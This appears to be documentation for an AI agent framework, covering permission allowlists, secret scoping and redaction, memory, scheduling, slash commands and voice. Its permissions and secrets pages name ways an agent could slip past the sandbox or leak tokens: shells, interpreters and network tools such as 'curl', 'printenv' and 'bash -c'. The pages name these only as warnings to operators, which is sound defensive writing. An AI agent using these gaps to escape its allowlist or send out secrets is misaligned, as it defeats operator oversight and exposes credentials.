Limits, because an image is expensive [#limits-because-an-image-is-expensive] A single full-resolution image can cost thousands of input tokens, and a phone will happily upload 12 megabytes without telling anyone. Two caps live in `limits:`, next to the other budgets: ```yaml limits: max_image_bytes: 5000000 # 5 MB; a bigger image is named, not read max_images_per_message: 4 # beyond this, the rest are named, not read ``` Both have sensible defaults, so you only touch them if your agent has a reason to. Set `max_images_per_message: 0` for an agent that should never spend tokens on pictures at all; the images still get named, so it can say why it isn't looking. ## Models that can actually see [#models-that-can-actually-see] An image only helps if the model has eyes. Every current Claude and GPT model does. If you point an agent at a small local model through an `openai-compatible` `base_url`, check that the model is a vision model before you rely on this — a text-only model will reject the request rather than ignore the image. ## Permissions [#permissions] Fetching an image means an outbound request, so hermetic agents need the host that serves it. The framework works that out from your triggers, the same way it already derives `discord.com`: a Discord agent gets `cdn.discordapp.com`, a Slack agent gets `files.slack.com`. Telegram and email need nothing new, because their attachments come from a host the agent already talks to. You don't add these to `permissions.net` yourself. `af flags` will show you the full list an agent runs under; see [the permission model](/agent-framework/permission-model#hermetic-mode). Slack is the one channel that needs something on its end: add the `files:read` scope to the bot, or the download comes back 403 and the agent tells you it couldn't fetch the file. ## What we don't do yet [#what-we-dont-do-yet] **The agent replies in text.** It can look at your screenshot and describe the fix; it can't draw you a diagram and post it back. Sending media outward means multipart uploads on Discord, a three-step upload flow on Slack, and a MIME builder for SMTP, and none of that shares any code with reading images. It's a separate piece of work. **A tool can't hand the model an image.** `read_file` reads text, `http_request` returns text, and an MCP server that replies with an image block has that block dropped. So an agent can look at an image someone sent it, but it can't go and fetch one for itself. This is the next thing worth building; it's a smaller change than it sounds. **Webhook and GitHub attachments.** Both would mean downloading a URL from a host the caller chooses, and a [hermetic agent](/agent-framework/permission-model#hermetic-mode) can't be given permission for "whatever host turns up at runtime" — Deno's `--allow-net` has no way to say that, and we'd rather refuse than pretend. If you control the webhook caller, base64 the image into the request body instead. **Voice.** An agent can't listen to a voice note or hold a phone call. A voice note currently arrives as a named attachment, so the agent can at least say it can't play it. Real-time voice is a different shape of program from the one this framework is: our loop is an event arriving, a run happening, and a reply going back, while a live voice session is a permanent open socket streaming audio in both directions with the model deciding when you've stopped talking. That's not a feature we can bolt onto the run loop; it's a second runtime. The cheaper and more likely path is transcription, where a voice note becomes text and text is something the agent already knows what to do with. Slack even transcribes voice clips for us already. # Permissions (/agent-framework/permissions) A service agent runs at 3am, triggered by a webhook, on a machine nobody is watching. There is no one to ask "may I run this?", so the question has to be answered before the agent starts. That is what the `permissions:` block is for: you declare once, in config, which hosts, which executables and which paths the agent is allowed to touch, and everything else is denied. A denied action goes back to the agent as context for its next turn. This page is the reference; the reasoning behind the design is in [The permission model](/agent-framework/permission-model). ## Deny by default [#deny-by-default] An agent with no `permissions:` block can touch nothing. ```yaml permissions: net: [api.github.com, "*.internal.example.com"] # hosts http_request may reach run: [gh, echo] # executables run_bash may spawn read: [/workspace] # readable path prefixes write: [/workspace/out] # writable path prefixes ``` * **`net`** - hosts, matched exactly; `*.example.com` matches subdomains, and the apex needs its own entry. * **`run`** - executables, matched by basename. A `net` entry may be an env reference — `net: ["${COOLIFY_HOST}"]`, and likewise `http.auth`'s `url`. An instance hostname is deployment configuration, not a secret, and this keeps it out of a committed agent file. The reference resolves at startup, before the [sandbox flags](#the-layers) are compiled from it, so what the runtime enforces is the real host. A missing one fails at startup like any other reference; `af validate` and `af flags` describe rather than run, so they leave it visible and warn instead. * **`read` / `write`** - path prefixes: granting `/workspace` grants everything beneath it. A path is normalized and its symlinks are expanded before the check, so neither `..` traversal nor a link pointing out of the root steps outside the allowlist. The tools then act on the resolved path, so what was authorized is what gets opened. A symlink that stays inside the root is fine, which means an allowed root can itself be a link, the way `/tmp` is on macOS. Tools follow permissions: `run_bash` only exists for the agent if `run:` grants something, `http_request` only if `net:` does and `read_file`/`write_file` only if `read:`/`write:` do. This means that no unused tool schema takes up context. The full toolset is in [Tools](/agent-framework/tools). ## The escape hatches [#the-escape-hatches] Some jobs are open-ended on purpose. A research agent's capability really is "the web", and a scripting agent on a throwaway box may genuinely need any executable. For those, `net` and `run` accept a bare `*`: ```yaml permissions: net: ["*"] # every host run: ["*"] # every executable ``` We made the spelling loud on purpose. A `*` in a reviewed config is a choice someone can be asked about, and the audit trail still records every call the agent makes; what you give up is the allowlist as a statement of where the agent *could* reach, which is most of what this page sells. Reach for it when the job is genuinely the open web, and keep listing hosts everywhere else. Paths need no such spelling: prefixes already cover everything beneath them, and `read: ["/"]` says "the whole filesystem" in exactly as many characters as it should take. ## Denials are tool results [#denials-are-tool-results] A denied action is an ordinary tool result. The model sees `permission denied: run access to "curl" is not in the agent's permissions.run allowlist` and works with that on its next turn: it asks differently, stays within its grants or reports what it couldn't do. Every decision, allowed and denied, lands in the [audit trail](/agent-framework/docker-run#persistence-the-data-volume). ## Static analysis of shell commands [#static-analysis-of-shell-commands] `run_bash` does not trust the shell: it extracts every executable from pipes and chains and checks each one against `run:`. Command substitution (`$(...)`, backticks, `<(...)`) is rejected outright, because there is no way to check it statically before it runs. The check reads the executable at the head of each segment; it can't see into the arguments. That is fine for ordinary tools, and it means you should keep programs that run *other* programs off the allowlist. Granting any of these hands over everything: * shells: `run: [bash]` lets `bash -c ''` through, since the inner command travels as an opaque string * interpreters: `python -c`, `node -e`, `deno run` * wrappers and exec flags: `env`, `xargs`, `timeout`, `find -exec` The same blindness applies to network-capable binaries (`curl`, `ssh`, even `gh`): a subprocess opens its own sockets, so its traffic never touches `permissions.net` — until per-agent egress enforcement lands, such a grant is an implicit `net: ["*"]` with the container as the only boundary. `af validate` and startup both warn about these grants — shells, interpreters, wrappers, and known network-capable binaries — naming what each one gives up. The grants stay legal (a `gh` agent is a perfectly good agent); the warning exists so the cost is a choice, not a surprise. Grant the specific CLIs the agent's job needs (`gh`, `grep`) and let the [container](#the-layers) be the backstop. The MCP examples that launch a server via `bash -c` are unaffected: that spawn comes from your config at startup and never passes through `run_bash`. ## Scoped environments [#scoped-environments] Subprocesses receive only the env vars the config's `env:` block grants, plus `PATH`/`HOME`; the agent process keeps its own ambient environment to itself. The same goes for MCP servers: each one sees only its own `env:` block. ## Secrets [#secrets] The config names an environment variable; the value stays out of the file: ```yaml env: GITHUB_TOKEN: ${GITHUB_TOKEN} ``` The value resolves from the process environment first, then from `/run/secrets/` (Docker Compose file secrets). A missing reference fails at startup, before any event is handled. The value is scoped to the tools that need it, so the model can use `GITHUB_TOKEN` without ever seeing it. That covers the way in. A permitted CLI or MCP server can also echo a secret back at you in its output, so tool results, transcripts, records, logs and traces are scrubbed of known secret values on the way out. For an authenticated API, `http.auth` lets the runtime attach the credential to the request itself. Both are covered in [Secrets](/agent-framework/secrets). ## The layers [#the-layers] Enforcement is layered: the app-level engine described above runs inside a runtime sandbox, which runs inside a container. 1. **The Deno sandbox.** The config compiles to Deno permission flags; `af flags agent.yaml` prints them. In the [base image](/agent-framework/docker-run#what-the-base-image-gives-you), reads are scoped to `/agent`, `/skills`, `/data` and `/run/secrets`; writes to `/data`; subprocess spawning to `bash`, which the permission engine then gates per executable. 2. **The container.** This is the unit of isolation; the compose examples add `read_only: true` and a tmpfs. Two honest notes on where the layers actually sit: * If your agent spawns something, whether that's a `permissions.run` grant or a stdio MCP server, the Deno layer allows all *network* egress in the container (`--allow-net`). Per-host enforcement happens in the app-level permission engine, and the container's egress policy is layer 2; restrict it with your network setup where it matters. An agent that spawns nothing gets its `net:` list compiled straight into `--allow-net`, so the runtime enforces it for the whole process ([hermetic mode](/agent-framework/permission-model#hermetic-mode)). * `bash` subprocesses escape the Deno sandbox by design; the container boundary is what contains them. That is why there is no "run on the host" mode. # Secrets (/agent-framework/secrets) Your agent needs a GitHub token to do its job, and the model driving it should never see that token. Those two things are in tension, because the model is the thing deciding what to run. The framework closes that gap in three places. Secrets are scoped to the tools that need them, so they never enter the model's starting context. Anything a tool hands back gets scrubbed of known secret values, so a tool cannot smuggle one in either. And for authenticated HTTP, the runtime attaches the credential itself, so the model never has to construct an `Authorization` header at all. ## The config names the variable [#the-config-names-the-variable] ```yaml env: GITHUB_TOKEN: ${GITHUB_TOKEN} ``` Each `${VAR}` reference resolves at startup, from the process environment first and then from `/run/secrets/` (Docker Compose file secrets). A reference that resolves to nothing fails right there at startup, before any event is handled, so you find out on boot instead of mid-run in front of the model. The resolved values go into the environment of `run_bash` subprocesses and MCP servers. They are not in the system prompt and they are not in any tool schema. The agent can run `gh issue list` and the token is already there in the environment for `gh` to pick up. ## A tool can always echo a secret back [#a-tool-can-always-echo-a-secret-back] Scoping the environment gets you most of the way, and then you hit the obvious hole. `run_bash` can run `printenv`. An MCP server can quote the credential it just failed to authenticate with. An API can reject a request and hand you back the key you sent it. Every one of those comes back as a tool result, and a tool result is the model's next message. So there is a second layer. On startup the agent resolves every environment variable its config references and builds a redactor from those values. Everything on the way out of a tool goes through it: * tool results, before they become messages the model reads * the run's reply, and the transcript saved to SQLite * run and audit records, and the `/runs` and `/audit` responses on the status API * the run event stream, which is what the REPL and trace exporters consume * log lines, including the API error bodies triggers print when a call fails * provider error bodies, which routinely quote the key that just failed A matched value is replaced with `[redacted]`. The redactor also catches the value URL-encoded, base64-encoded and JSON-escaped, because a secret rarely comes back in the same shape it went out in. The list of secrets is built from what the config already tells us: the `${VAR}` references in `env` and in each MCP server's `env`, the `*_env` names your model and triggers authenticate with, and the references in `http.auth`. You don't list anything twice. A literal you write directly into the config is not treated as a secret. It's committed to your repo, so it isn't one, and redacting `LOG_LEVEL: debug` would shred ordinary tool output for nothing. Values shorter than six characters are skipped for the same reason. ## Configuration the agent has to read: `public` [#configuration-the-agent-has-to-read-public] Everything in `env` is a secret by definition, and that coupling is usually what you want. It is wrong for one class of value: configuration the agent must be able to see in its own output. A PostHog project id, an AWS account number, a region. Redact one of those and it disappears from the URLs the agent builds and the responses it reads back — which looks, from the outside, like an agent that cannot see its own configuration. `public` is the same scoping without the redaction: ```yaml env: POSTHOG_API_KEY: ${POSTHOG_API_KEY} # secret — scoped, redacted public: POSTHOG_PROJECT_ID: ${POSTHOG_PROJECT_ID} # config — scoped, visible ``` Both blocks resolve at startup the same way, both fail on a missing reference the same way, and both are scoped into `run_bash` subprocesses and MCP servers. The only difference is that `public` values never enter the redactor. A name in both blocks takes the `env` value, so anything that is a secret somewhere stays a secret. `public` also takes numbers and booleans without quoting — these are ids, ports and regions, and YAML reads a bare `12345` as a number: ```yaml public: POSTHOG_PROJECT_ID: 12345 AWS_REGION: eu-west-1 ``` Two things follow from `public` being visible. It is reported by the same boot-time env list as everything else, so a deploy surface provisioning an agent still knows to ask for it. And it is genuinely not protected — anything you put here can reach a tool result, a log line and a trace. If you find yourself reaching for it to silence a redaction that is getting in your way, the value probably belongs in `env` and the problem is elsewhere. ## Credentials for HTTP, attached server side [#credentials-for-http-attached-server-side] `http_request` is the case where scoped environment doesn't help you. The tool takes headers from the model, so an authenticated API means the model has to know the key and type it into an argument. That puts the secret straight back into the context you were keeping it out of. Instead, declare the credential and let the runtime attach it: ```yaml permissions: net: [api.stripe.com] http: auth: - url: https://api.stripe.com header: Authorization # this is the default, so you can leave it out value: Bearer ${STRIPE_KEY} ``` The model asks for a URL. After the tool call comes back, the runtime matches the URL against each `url` prefix, and the header goes on the request on its way out. The longest matching prefix wins, so one endpoint can override a rule covering the whole host. If the model invents a placeholder `Authorization` header of its own, the configured credential overwrites it. The tool's description tells the model which URLs are already authenticated, so it stops trying to help. The value never appears in the description, the arguments or the result. The host still has to be in `permissions.net`. Credentials say how to authenticate; [permissions](/agent-framework/permissions) still say where the agent is allowed to go. Both take env references, so a self-hosted instance's address need not be committed either: ```yaml permissions: net: ["${COOLIFY_HOST}"] http: auth: - url: https://${COOLIFY_HOST} value: Bearer ${COOLIFY_API_TOKEN} ``` The `url` is not a secret and is not redacted — it names where requests go, and scrubbing it would blank the host out of every tool result. Only `value` is treated as a credential. Redirects are not followed, so a redirect can't carry your credential to a host you never allowed. ## Redacting something the config doesn't name [#redacting-something-the-config-doesnt-name] Sometimes a secret reaches the agent without the config ever mentioning it. An MCP server image with a key baked into it, for example. You can name the extra references, and add header names to scrub by name: ```yaml redact: values: ["${LEGACY_API_KEY}"] headers: [x-internal-signature] ``` Header and field names are scrubbed whatever they hold, which is what catches a token the agent fetched at runtime and the framework never resolved. `authorization`, `proxy-authorization`, `cookie`, `set-cookie`, `x-api-key`, `api-key`, `x-auth-token` and `x-access-token` are handled without you listing them. ## What this doesn't do [#what-this-doesnt-do] Redaction works on values the framework knows about. A secret the agent discovers at runtime, in a file it was allowed to read or a response body from an API, is not in the redactor and will not be scrubbed by value. The header rules catch the common shape of that, and `redact.values` catches the ones you can name in advance, but there is no general defence against an agent finding a credential you never told it about. Scope `read:` accordingly. Redaction also happens on the way out of a tool, so it does not stop a secret being *used*. `run_bash` with a permitted `curl` can send `$GITHUB_TOKEN` anywhere `net:` allows. The permission allowlists are what bound that, and this is one more reason to keep `net:` tight. # Memory (/agent-framework/memory) The `memory:` block controls two independent things: whether a conversation's history replays on the next message in that thread, and whether the agent can save facts that outlive any single conversation. ```yaml memory: scope: thread # default: none persistent: true # default: false compact_at_tokens: 50000 # default: 50000; false disables ``` Both default off. An agent with no `memory:` block starts every run with a blank slate — no history, no remembered facts — which is the right choice for a stateless webhook handler that shouldn't accumulate anything between calls. ## Thread history: `scope` [#thread-history-scope] `scope: thread` persists the message transcript per *conversation key* — the chat channel or thread (Discord, Slack, Telegram), the webhook caller's `conversation_id`, or the REPL session. On the next event in the same conversation, the full prior transcript loads back in, so follow-ups work ("make it weekly instead" refers to what was just discussed). `scope: none` (the default) starts every run fresh, even within what a human would call the same conversation. This is the entire transcript, replayed verbatim — expensive in context, but complete. It answers "what did we just say to each other," not "what do you know about me." ## Compaction [#compaction] Thread history has a cost that grows with the thread. Every run replays the full transcript, so each message in a long-lived conversation costs a little more than the last, and eventually the transcript outgrows the model's context window entirely. Compaction is how a conversation gets smaller without ending: the agent asks a model to write a summary of the older turns, and the transcript becomes that summary plus the most recent two turns kept verbatim. The summary is written by `model.small` when you've set one, which is the kind of cheap internal call that role exists for. You can trigger it by hand with [`/compact`](/agent-framework/slash-commands), and the agent runs it on its own once a conversation crosses `compact_at_tokens`: ```yaml memory: scope: thread compact_at_tokens: 50000 ``` The threshold is the input token count the provider reported for the run's last model call, which is to say the real size the conversation's context has reached. The check happens after a run finishes, so the reply that crossed the line still goes out normally and the summarizing happens before the next message in that conversation loads its history. The default is 50000 tokens; set `false` to turn auto-compaction off, and set it lower if you're running a model with a small context window. Without `scope: thread` there is no history, so the setting does nothing. Compaction spends a model call, and the spend stays visible: each auto-compaction is recorded as its own run with `compaction` as the trigger, and it shows up in `/status` totals and the runs table like any other call. If the summarize call fails, the transcript stays exactly as it was and the failure lands in the [audit trail](/agent-framework/docker-run#persistence-the-data-volume). There is a trade here, and it's worth knowing what you're giving up. A summary is lossy: once the older turns are folded in, their exact wording is gone from the agent's working memory, and only the last two exchanges survive verbatim. A fact that has to outlive any transcript belongs in persistent memory, which compaction never touches. ### `/new` and `/reset`: starting over [#new-and-reset-starting-over] Compaction keeps a conversation going; the other two history commands end it. `/reset` deletes the thread's transcript outright. `/new` retires the current thread and starts a fresh one under the same channel or thread key, with the old transcript archived in the agent's SQLite file, so the history is still there if you ever need to look back at it in the [data volume](/agent-framework/docker-run#persistence-the-data-volume). ## Persistent memory: `persistent` [#persistent-memory-persistent] `persistent: true` gives the agent four tools, backed by its own SQLite file: | Tool | Effect | | --------------- | ------------------------------------------------------------------------------ | | `remember` | Save or update a fact under a key. Overwrites any existing value for that key. | | `recall` | Read one fact back by key. | | `list_memories` | List every key and value currently held. | | `forget` | Delete a fact by key. | Unlike thread history, these facts are keyed by nothing but the agent itself — they're visible from *every* conversation key, and they survive a run that starts with `scope: none`. This is where an agent puts a user's stated preference ("always deploy to us-east"), a fact it was told once and shouldn't need repeating ("the on-call rotation is in #incidents"), or a note to its future self about long-running work ("waiting on PR #204 to merge before continuing the migration"). Thread history can't do this: it's scoped to one conversation key, and it's a full transcript rather than a distilled fact. The agent decides what's worth remembering — there's no automatic extraction from the conversation. A `purpose` that expects the agent to retain user preferences should say so explicitly, the same way it would spell out any other expected behavior. ### What the model sees [#what-the-model-sees] Reading every remembered fact into every system prompt would burn context as memories accumulate, so persistent memory follows the same progressive-disclosure shape as [skills](/agent-framework/skills#progressive-disclosure): the system prompt carries only the *keys* currently held — ``` You have persistent memory — facts and preferences that survive across conversations and restarts. Use recall to read one, list_memories to browse, remember to save or update one, forget to delete one. Keys you already have: - deploy_region - oncall_channel ``` — and the agent spends a `recall` or `list_memories` call to pull the value into context only when a turn actually needs it. An agent with fifty memories costs fifty short lines until it reads one. ### Where it lives, and its boundaries [#where-it-lives-and-its-boundaries] Memories live in the `memories` table of the agent's own SQLite file, alongside sessions, runs, audit and identity — the same file described in [Persistence: the data volume](/agent-framework/docker-run#persistence-the-data-volume). This keeps memory agent-local, consistent with one agent doing one job: there is no mechanism for one agent to read another's memories, and a fresh data volume clears memory exactly the way it clears identity and history. Every `remember` and `forget` call lands in the [audit trail](/agent-framework/docker-run#persistence-the-data-volume) as a `memory` event (`{ action: "remember" | "forget", key }`), visible at `GET /audit` alongside permission decisions. `recall` and `list_memories` are read-only and aren't audited, the same way an allowed `read_file` isn't. ## Combining both [#combining-both] `scope` and `persistent` compose freely — they answer different questions: ```yaml memory: scope: thread # replay this conversation's transcript persistent: true # and carry facts across every conversation ``` A support-bot agent might run `scope: thread` alone (each ticket thread needs its own context, nothing more), while a personal-assistant agent typically wants both: thread history for the back-and-forth of the current request, persistent memory for "she prefers window seats" to still be true next month, in a different channel. # Scheduling (/agent-framework/scheduling) "Remind me on Thursday" is an ordinary thing to ask an assistant, but look at what it needs from the framework. Triggers fire when something arrives from outside, and a [cron trigger](/agent-framework/cron) follows a schedule you write into the config before the agent starts. A reminder fits neither shape: it's a commitment the agent takes on in the middle of a conversation, at a time nobody knew when the config was written. The `schedules:` block is how the agent keeps that kind of commitment: ```yaml schedules: max: 20 # default: 20 schedules held at once ``` With the block present, the agent carries three tools. `schedule` files a future run: a five-field cron expression (with an optional IANA `timezone`) for recurring work, or an ISO timestamp for a one-shot like a reminder. `list_schedules` shows everything currently held, and `unschedule` cancels by id. What the agent actually stores is a prompt addressed to its future self, so "remind me about the dentist on Thursday" becomes something along the lines of "Reminder for Ratul: dentist appointment today", attached to a timestamp. Schedules live in a `schedules` table in the agent's own SQLite file, next to its sessions and memories, so a container restart loses nothing. A one-shot that came due while the agent was down fires as soon as it starts again, because a late reminder is more useful than a lost one. One-shots retire after their run completes rather than before it starts, which means a crash in the middle of a run replays the reminder on restart. Once in a while that can hand you the same reminder twice; we chose that over ever dropping one silently. ## The result comes back to you [#the-result-comes-back-to-you] A schedule remembers the conversation it was created in. When it fires, the stored prompt runs through the normal event path, under the same ordering, [limits](/agent-framework/agent-file#limits) and [permissions](/agent-framework/permissions) as any message, and the reply is delivered to that conversation: the Discord channel or DM, the Telegram chat, the Slack thread. The agent writes into a chat for two reasons: to reply to a message, or to keep a schedule someone asked it for. A schedule created somewhere with no deliverable conversation (a one-shot `af run`, a keyless webhook call) still runs; its result lands in the container log and the [runs table](/agent-framework/docker-run#persistence-the-data-volume), the same place config cron results go. ## Bounds [#bounds] An agent that can promise future work needs a limit on how much it can promise, because every schedule is a model call that will spend money with nobody watching: * `max` caps how many schedules exist at once (default 20). Past the cap the tool refuses and tells the model to `unschedule` something first. * The finest granularity is one minute; second-level cron patterns are refused. * Every firing is an ordinary run, so `limits.max_steps` caps what it can spend, and a recurring schedule can never overlap itself; agent-created schedules get the same no-overlap treatment as a [cron trigger](/agent-framework/cron). * Creating and cancelling are audit rows (`kind: "schedule"`), and every firing is a run with `schedule` as its trigger, so the [audit trail](/agent-framework/docker-run) shows who asked for what and what it cost. ## A job belongs in the config [#a-job-belongs-in-the-config] Schedules suit commitments made in conversation: a reminder, a digest someone asked for in chat, a follow-up the agent promised ("I'll check the deploy again in an hour"). When a schedule is part of the agent's job description, write it as a [cron trigger](/agent-framework/cron) in the config instead. The config gets reviewed like code and survives a wiped data volume; agent-created schedules live in that volume and go with it. # Slash commands (/agent-framework/slash-commands) Operating a deployed agent usually means going around it: query the status server, read `docker logs`, edit the config and restart. From inside the channel where the agent lives, the only thing you can do is talk to the model, so even "what model are you running?" costs a provider call and gets back a model-shaped answer. Small operator actions deserve a deterministic path, and chat surfaces already have a convention for one: a message that starts with a slash. A recognized command is intercepted before the session loads and before any provider call. It runs its handler and rides the normal reply path back through whichever trigger delivered it. This means commands work the same on Discord, Slack, Telegram, the webhook trigger and the REPL, with no per-surface behavior to learn. Almost every built-in answers deterministically with zero steps and zero tokens; the one exception is `/compact`, which spends a single model call to write the summary it replaces the history with. Parsing is strict on purpose. The message has to be a `/` followed by an exact known command name; everything else falls through to the model untouched, so a pasted file path or a conversational `/shrug` never gets eaten. ## Built-ins [#built-ins] Every agent answers six commands with no configuration: | Command | What it does | | ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `/help` | List the commands this agent responds to, including your config-defined ones with their descriptions. | | `/status` | Report the agent's identity, model, uptime, and run totals. The same facts the [status server](/agent-framework/docker-run) exposes, delivered where you already are. | | `/reset` | Clear the conversation history for the thread it was typed in. Persistent memories survive. | | `/compact` | Summarize the conversation and replace its history with the summary plus the most recent turns. The one built-in that costs a model call. See [Memory](/agent-framework/memory#compaction). | | `/new` | Start a fresh conversation under the same channel or thread. The old history stays archived in the agent's data volume. | | `/stop` | Stop the run currently in progress in this conversation. If nothing is running, it says so. | `/reset`, `/compact` and `/new` are scoped to one conversation key, so running them in a Discord channel touches nothing else. They only apply when [`memory.scope: thread`](/agent-framework/memory) is on; an agent that keeps no history says so and does nothing. The difference between the three is what happens to the transcript: `/reset` deletes it, `/compact` shrinks it and keeps the conversation going, and `/new` retires it and starts over. `/stop` is the one command that skips the conversation's queue. Messages in a conversation normally run one at a time in arrival order, so a queued `/stop` would wait behind the very run it is meant to stop. Instead it is handled the moment it arrives: it fires an abort signal at the run in flight and replies right away, and the stopped run sends its own reply once it halts. The stop is cooperative. A provider call or tool that is already underway runs to completion, and the run ends at the next step boundary, so a long tool call can hold the stop up for as long as it takes to return. The partial transcript stays in the conversation's history, and events already waiting in the queue still run when their turn comes. ## Config-defined commands [#config-defined-commands] The second half is your own shortcuts: ```yaml commands: - name: standup description: Summarize the last day of activity prompt: | Summarize what happened in the last 24 hours for the team standup. Focus: $ARGS ``` `/standup deploys` substitutes `deploys` for `$ARGS` and runs the normal agent loop with that prompt as the input. This gives you a repeatable way to invoke behavior that would otherwise mean typing the same paragraph into the channel each time. It also composes with [skills](/agent-framework/skills): a command's prompt can direct the agent to read a specific skill first, which makes commands the invocation layer that `read_skill` lacks on its own. Command names are lowercase letters, digits and underscores, at most 32 characters. That's the strictest platform rule, so one name registers everywhere. Descriptions are capped at 100 characters for the same reason; they appear in `/help` and in each platform's native command picker. The built-in names are reserved, and the config loader rejects a command that tries to redefine one. ## What the platforms show [#what-the-platforms-show] Each chat platform gets the native treatment its API allows, so commands show up with autocomplete and descriptions where the client supports it: * **Discord**: the trigger registers your command list as application commands at startup, so typing `/` pops Discord's own picker with descriptions. Picking one arrives as an interaction; the agent acknowledges it with Discord's "thinking…" state and fills in the reply when the run finishes. Typing the command as plain text works too. * **Telegram**: the trigger calls `setMyCommands` at startup, so the `/` menu lists your commands with descriptions. Telegram addresses commands per-bot in groups (`/status@your_bot`); the trigger strips the suffix before parsing. * **Slack**: Slack treats any message starting with `/` as a slash command and never delivers it as a message, so plain-text parsing can't work there. Add the commands to your Slack app configuration (they work over Socket Mode, no public URL needed) and the trigger handles the rest, replying through the command's response URL. * **REPL**: the interactive REPL that `af run` opens for trigger-less agents shows a dropdown of every command with its description as you type `/`. Two screen-only commands join the list there: `/clear` and `/exit`. * **Webhook**: plain text, no registration. POST `/status` as the input. Registration is cosmetic: the plain-text parser is the real path, and a failed registration only logs a warning. ## Who gets to run them [#who-gets-to-run-them] A command is admitted by the same filters as any other message: `from_users` on the chat triggers. Within that audience there is no further gate, which is fine for `/help` and `/status` and worth naming for the history commands: anyone the trigger admits can wipe a thread's history with `/reset`, rewrite it with `/compact` or rotate it with `/new`. The blast area is one conversation's context, persistent memories survive, and every command execution lands in the [audit trail](/agent-framework/docker-run) as a `command` event recording who ran what. ## What this doesn't do [#what-this-doesnt-do] Commands can't grant capability. A config-defined command is a prompt template; it runs the same loop under the same [permissions](/agent-framework/permissions) as any other message, so `/deploy` can't do anything the agent couldn't already do when asked in prose. There is also no per-command allowlist yet; if a deployment needs `/reset` locked down tighter than the trigger's `from_users` filter, that's an open question in [plan 10](https://github.com/loopedautomation/agent-framework/blob/main/plans/010-slash-commands.md). # Voice (/agent-framework/voice) Someone sends your agent a voice note and the agent can only apologize: the trigger hands the model a line saying an audio file arrived that it cannot listen to ([Attachments](/agent-framework/attachments) covers that honesty). The `voice` block turns the apology into a conversation. There are two ways to have that conversation, and they share one config block. Voice notes are turn-based: a clip arrives, the transcript runs through the normal loop, and with `tts` the reply comes back as a clip. Live voice is a real conversation: the agent sits in a Discord voice channel and you talk to it out loud. ```yaml voice: stt: # voice notes in (telegram, discord) provider: openai # or elevenlabs # model: gpt-4o-mini-transcribe (default) # api_key_env: OPENAI_API_KEY (default) tts: # omit for text replies to voice notes provider: elevenlabs # model: eleven_multilingual_v2 (default) # voice: 21m00Tcm4TlvDq8ikWAM (default: Rachel) live: # live conversation in a discord voice channel provider: openai # model: gpt-realtime-2.1 (default) # voice: marin (default) # idle_seconds: 60 (default) ``` Each part is optional, and you can run any combination. The block sits at the top level because the engines are shared: every voice-capable trigger in the file speaks and listens through the same ones. Mixing providers is fine - transcribe with OpenAI and speak with ElevenLabs, or the other way around. ## Voice notes [#voice-notes] The trigger downloads the audio, sends it to the transcription API and emits the transcript as the event's input. From there it is an ordinary run: same purpose, same tools, same memory, same audit trail. When the run finishes and `tts` is configured, the trigger asks the speech API for Ogg Opus and posts it as a real voice note, the kind that renders with a play button and a waveform. Some replies stay text on purpose. A reply longer than 4000 characters reads better than it listens, so it posts as text. A reply routed elsewhere via `reply_chat` or `reply_channel` stays text too, because it quotes the message it answers. And when the speech API errors, the trigger logs the failure and posts the text instead, so the reply still arrives. `allow_silence` applies before any of this: a `__NO_REPLY__` answer posts nothing, voice or text. The default follows the message: a voice note comes back as a voice note, a typed message comes back as text. The agent can override that for a single reply by leading with a marker. `__VOICE__` has the reply spoken, even in answer to a typed message; `__TEXT__` sends it as text, even in answer to a voice note. This is what "reply with a voice note" or "just text me back" turns into once the agent decides to honor it. The trigger strips the marker before the reply goes out, the way `__NO_REPLY__` works, so you tell the agent about the markers in its purpose. Forcing voice runs through the same gates as any other spoken reply: it lands as text when `tts` is off, when the reply is too long to speak, or when it's routed to another chat. One gate to know about: `require_mention`. A voice note has no text to carry an @-mention, so in a mention-gated group voice notes drop before the model is called. Private chats and DMs always address the bot, and that's where voice conversations naturally live. | Key | Default | What it does | | ----------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `stt.provider` | required in `stt` | `openai` or `elevenlabs`. | | `stt.model` | per provider | `gpt-4o-mini-transcribe` for openai, `scribe_v2` for elevenlabs. | | `stt.api_key_env` | per provider | The env var holding the key: `OPENAI_API_KEY` or `ELEVENLABS_API_KEY`. A reference; the value stays out of the file and is redacted everywhere it could surface ([Secrets](/agent-framework/secrets)). | | `tts.provider` | required in `tts` | `openai` or `elevenlabs`. Needs `stt`, since it speaks the replies to what `stt` hears. | | `tts.model` | per provider | `gpt-4o-mini-tts` for openai, `eleven_multilingual_v2` for elevenlabs. | | `tts.voice` | per provider | A voice name for openai (`alloy`), a voice id for elevenlabs (Rachel's premade voice). | | `tts.api_key_env` | per provider | Same defaults as `stt.api_key_env`. Each engine resolves its own key, so mixed providers each find theirs. | ## Live voice in a Discord voice channel [#live-voice-in-a-discord-voice-channel] Add `voice.live` and point a discord trigger at a voice channel, and the agent joins it at startup and stays: ```yaml voice: live: provider: openai triggers: - type: discord voice_channels: ["standup"] # names or ids ``` Talk to it and it talks back, with the interruptions and half-second pauses of an actual conversation. You can cut it off mid-sentence and it stops. The way that works is worth understanding, because it shapes what the agent can do. A realtime speech-to-speech model holds the conversation: it hears you, decides when you have finished a thought, and speaks. It is fast and it is good at talking, and it knows nothing about your systems. So it has exactly one tool, `ask_agent`, and when you ask for something real it hands the request to your agent - the same loop, the same tools, the same permissions, the same audit trail - and speaks the answer when the run comes back. The voice model is the mouth and ears. Your agent is still the one doing the work, and it is still the only thing that can touch anything. That split is also the safety story. Nothing the voice model says to itself can call a tool. Every consequential action goes through a normal run, which means the permission engine sees it and the audit trail records it, exactly as it would for a message typed into a text channel. Spoken conversations get their own conversation key (`discord-voice:`), so what you say out loud stays out of your text channels' history. | Key | Default | What it does | | ------------------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------- | | `live.provider` | required in `live` | `openai`. The one dialect today; when the gpt-live models reach the API, they are a change of `model` and nothing else. | | `live.model` | `gpt-realtime-2.1` | The realtime model that holds the conversation. | | `live.voice` | `marin` | The voice it speaks with. | | `live.idle_seconds` | `60` | Close the realtime session after this much silence. It reopens the moment someone speaks. | | `live.api_key_env` | `OPENAI_API_KEY` | The env var holding the key. | | `voice_channels` | none | On the discord trigger: which voice channels to join. Without it the bot never joins one. | **A live session bills by the audio minute, including the minutes nobody is talking.** That is what `idle_seconds` is for: the session closes after a minute of silence and reopens on the next word, so a bot sitting in an empty channel costs nothing. Set it higher if the reopening pause bothers you, and know what you are paying for. Setup is two things beyond the [Discord](/agent-framework/discord) setup you already did. 